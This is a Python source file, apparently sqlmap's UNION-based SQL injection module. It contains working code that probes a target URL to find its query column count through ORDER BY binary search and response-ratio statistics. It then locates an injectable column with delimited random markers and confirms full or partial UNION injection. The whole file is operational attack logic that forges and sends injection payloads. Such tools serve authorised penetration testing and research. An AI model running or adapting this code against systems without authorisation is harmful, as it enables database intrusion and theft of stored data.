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344 lines
16 KiB
Python
344 lines
16 KiB
Python
#!/usr/bin/env python2
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"""
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Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import logging
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import random
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import re
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from lib.core.agent import agent
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from lib.core.common import average
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from lib.core.common import Backend
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from lib.core.common import isNullValue
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from lib.core.common import listToStrValue
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from lib.core.common import popValue
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from lib.core.common import pushValue
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from lib.core.common import randomInt
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from lib.core.common import randomStr
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from lib.core.common import readInput
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from lib.core.common import removeReflectiveValues
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from lib.core.common import singleTimeLogMessage
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from lib.core.common import singleTimeWarnMessage
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from lib.core.common import stdev
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from lib.core.common import wasLastResponseDBMSError
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.decorators import stackedmethod
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from lib.core.dicts import FROM_DUMMY_TABLE
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from lib.core.enums import PAYLOAD
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from lib.core.settings import LIMITED_ROWS_TEST_NUMBER
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from lib.core.settings import UNION_MIN_RESPONSE_CHARS
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from lib.core.settings import UNION_STDEV_COEFF
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from lib.core.settings import MIN_RATIO
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from lib.core.settings import MAX_RATIO
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from lib.core.settings import MIN_STATISTICAL_RANGE
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from lib.core.settings import MIN_UNION_RESPONSES
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from lib.core.settings import NULL
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from lib.core.settings import ORDER_BY_STEP
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from lib.core.unescaper import unescaper
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from lib.request.comparison import comparison
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from lib.request.connect import Connect as Request
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def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
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"""
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Finds number of columns affected by UNION based injection
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"""
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retVal = None
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@stackedmethod
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def _orderByTechnique(lowerCount=None, upperCount=None):
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def _orderByTest(cols):
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query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix)
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query = agent.suffixQuery(query, suffix=suffix, comment=comment)
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payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
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page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
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return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None
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if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
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infoMsg = "'ORDER BY' technique appears to be usable. "
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infoMsg += "This should reduce the time needed "
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infoMsg += "to find the right number "
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infoMsg += "of query columns. Automatically extending the "
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infoMsg += "range for current UNION query injection technique test"
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singleTimeLogMessage(infoMsg)
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lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
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found = None
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while not found:
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if not conf.uCols and _orderByTest(highCols):
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lowCols = highCols
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highCols += ORDER_BY_STEP
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else:
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while not found:
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mid = highCols - (highCols - lowCols) // 2
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if _orderByTest(mid):
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lowCols = mid
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else:
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highCols = mid
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if (highCols - lowCols) < 2:
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found = lowCols
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return found
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try:
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pushValue(kb.errorIsNone)
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items, ratios = [], []
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kb.errorIsNone = False
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lowerCount, upperCount = conf.uColsStart, conf.uColsStop
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if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # ORDER BY is not bullet-proof
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found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique()
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if found:
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kb.orderByColumns = found
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infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
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singleTimeLogMessage(infoMsg)
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return found
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if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
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upperCount = lowerCount + MIN_UNION_RESPONSES
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min_, max_ = MAX_RATIO, MIN_RATIO
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pages = {}
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for count in xrange(lowerCount, upperCount + 1):
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query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
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payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
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page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
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if not isNullValue(kb.uChar):
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pages[count] = page
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ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO
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ratios.append(ratio)
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min_, max_ = min(min_, ratio), max(max_, ratio)
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items.append((count, ratio))
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if not isNullValue(kb.uChar):
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for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")):
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contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None]
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if len(contains) == 1:
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retVal = contains[0]
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break
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if not retVal:
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if min_ in ratios:
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ratios.pop(ratios.index(min_))
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if max_ in ratios:
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ratios.pop(ratios.index(max_))
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minItem, maxItem = None, None
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for item in items:
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if item[1] == min_:
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minItem = item
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elif item[1] == max_:
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maxItem = item
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if all(_ == min_ and _ != max_ for _ in ratios):
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retVal = maxItem[0]
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elif all(_ != min_ and _ == max_ for _ in ratios):
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retVal = minItem[0]
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elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
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deviation = stdev(ratios)
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if deviation is not None:
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lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
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if min_ < lower:
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retVal = minItem[0]
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if max_ > upper:
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if retVal is None or abs(max_ - upper) > abs(min_ - lower):
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retVal = maxItem[0]
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finally:
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kb.errorIsNone = popValue()
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if retVal:
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infoMsg = "target URL appears to be UNION injectable with %d columns" % retVal
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singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r"\d+", "N", infoMsg))
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return retVal
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def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.ORIGINAL):
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validPayload = None
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vector = None
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positions = range(0, count)
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# Unbiased approach for searching appropriate usable column
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random.shuffle(positions)
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for charCount in (UNION_MIN_RESPONSE_CHARS << 2, UNION_MIN_RESPONSE_CHARS):
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if vector:
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break
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# For each column of the table (# of NULL) perform a request using
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# the UNION ALL SELECT statement to test it the target URL is
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# affected by an exploitable union SQL injection vulnerability
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for position in positions:
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# Prepare expression with delimiters
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randQuery = randomStr(charCount)
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phrase = ("%s%s%s" % (kb.chars.start, randQuery, kb.chars.stop)).lower()
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randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
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randQueryUnescaped = unescaper.escape(randQueryProcessed)
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# Forge the union SQL injection request
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query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where)
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payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
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# Perform the request
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page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
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content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
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if content and phrase in content:
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validPayload = payload
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kb.unionDuplicates = len(re.findall(phrase, content, re.I)) > 1
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vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, False)
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if where == PAYLOAD.WHERE.ORIGINAL:
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# Prepare expression with delimiters
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randQuery2 = randomStr(charCount)
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phrase2 = ("%s%s%s" % (kb.chars.start, randQuery2, kb.chars.stop)).lower()
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randQueryProcessed2 = agent.concatQuery("\'%s\'" % randQuery2)
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randQueryUnescaped2 = unescaper.escape(randQueryProcessed2)
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# Confirm that it is a full union SQL injection
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query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2)
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payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
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# Perform the request
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page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
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content = ("%s%s" % (page or "", listToStrValue(headers.headers if headers else None) or "")).lower()
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if not all(_ in content for _ in (phrase, phrase2)):
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vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
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elif not kb.unionDuplicates:
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fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr())
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# Check for limited row output
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query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable)
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payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
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# Perform the request
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page, headers, _ = Request.queryPage(payload, place=place, content=True, raise404=False)
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content = ("%s%s" % (removeReflectiveValues(page, payload) or "", removeReflectiveValues(listToStrValue(headers.headers if headers else None), payload, True) or "")).lower()
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if content.count(phrase) > 0 and content.count(phrase) < LIMITED_ROWS_TEST_NUMBER:
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warnMsg = "output with limited number of rows detected. Switching to partial mode"
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logger.warn(warnMsg)
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vector = (position, count, comment, prefix, suffix, kb.uChar, where, kb.unionDuplicates, True)
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unionErrorCase = kb.errorIsNone and wasLastResponseDBMSError()
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if unionErrorCase and count > 1:
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warnMsg = "combined UNION/error-based SQL injection case found on "
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warnMsg += "column %d. sqlmap will try to find another " % (position + 1)
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warnMsg += "column with better characteristics"
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logger.warn(warnMsg)
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else:
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break
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return validPayload, vector
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def _unionConfirm(comment, place, parameter, prefix, suffix, count):
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validPayload = None
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vector = None
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# Confirm the union SQL injection and get the exact column
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# position which can be used to extract data
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validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count)
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# Assure that the above function found the exploitable full union
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# SQL injection position
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if not validPayload:
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validPayload, vector = _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLOAD.WHERE.NEGATIVE)
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return validPayload, vector
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def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix):
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"""
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This method tests if the target URL is affected by an union
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SQL injection vulnerability. The test is done up to 50 columns
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on the target database table
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"""
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validPayload = None
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vector = None
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orderBy = kb.orderByColumns
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uChars = (conf.uChar, kb.uChar)
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# In case that user explicitly stated number of columns affected
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if conf.uColsStop == conf.uColsStart:
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count = conf.uColsStart
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else:
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count = _findUnionCharCount(comment, place, parameter, value, prefix, suffix, PAYLOAD.WHERE.ORIGINAL if isNullValue(kb.uChar) else PAYLOAD.WHERE.NEGATIVE)
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if count:
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validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
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if not all((validPayload, vector)) and not all((conf.uChar, conf.dbms)):
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warnMsg = "if UNION based SQL injection is not detected, "
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warnMsg += "please consider "
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if not conf.uChar and count > 1 and kb.uChar == NULL:
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message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] "
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if not readInput(message, default="Y", boolean=True):
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warnMsg += "usage of option '--union-char' "
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warnMsg += "(e.g. '--union-char=1') "
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else:
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conf.uChar = kb.uChar = str(randomInt(2))
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validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, count)
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if not conf.dbms:
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if not conf.uChar:
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warnMsg += "and/or try to force the "
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else:
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warnMsg += "forcing the "
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warnMsg += "back-end DBMS (e.g. '--dbms=mysql') "
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if not all((validPayload, vector)) and not warnMsg.endswith("consider "):
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singleTimeWarnMessage(warnMsg)
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if orderBy is None and kb.orderByColumns is not None and not all((validPayload, vector)): # discard ORDER BY results (not usable - e.g. maybe invalid altogether)
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conf.uChar, kb.uChar = uChars
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validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
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return validPayload, vector
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def unionTest(comment, place, parameter, value, prefix, suffix):
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"""
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This method tests if the target URL is affected by an union
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SQL injection vulnerability. The test is done up to 3*50 times
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"""
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if conf.direct:
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return
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negativeLogic = kb.negativeLogic
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kb.technique = PAYLOAD.TECHNIQUE.UNION
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try:
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if negativeLogic:
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pushValue(kb.negativeLogic)
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pushValue(conf.string)
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pushValue(conf.code)
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kb.negativeLogic = False
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conf.string = conf.code = None
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validPayload, vector = _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
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finally:
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if negativeLogic:
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conf.code = popValue()
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conf.string = popValue()
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kb.negativeLogic = popValue()
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if validPayload:
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validPayload = agent.removePayloadDelimiters(validPayload)
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return validPayload, vector
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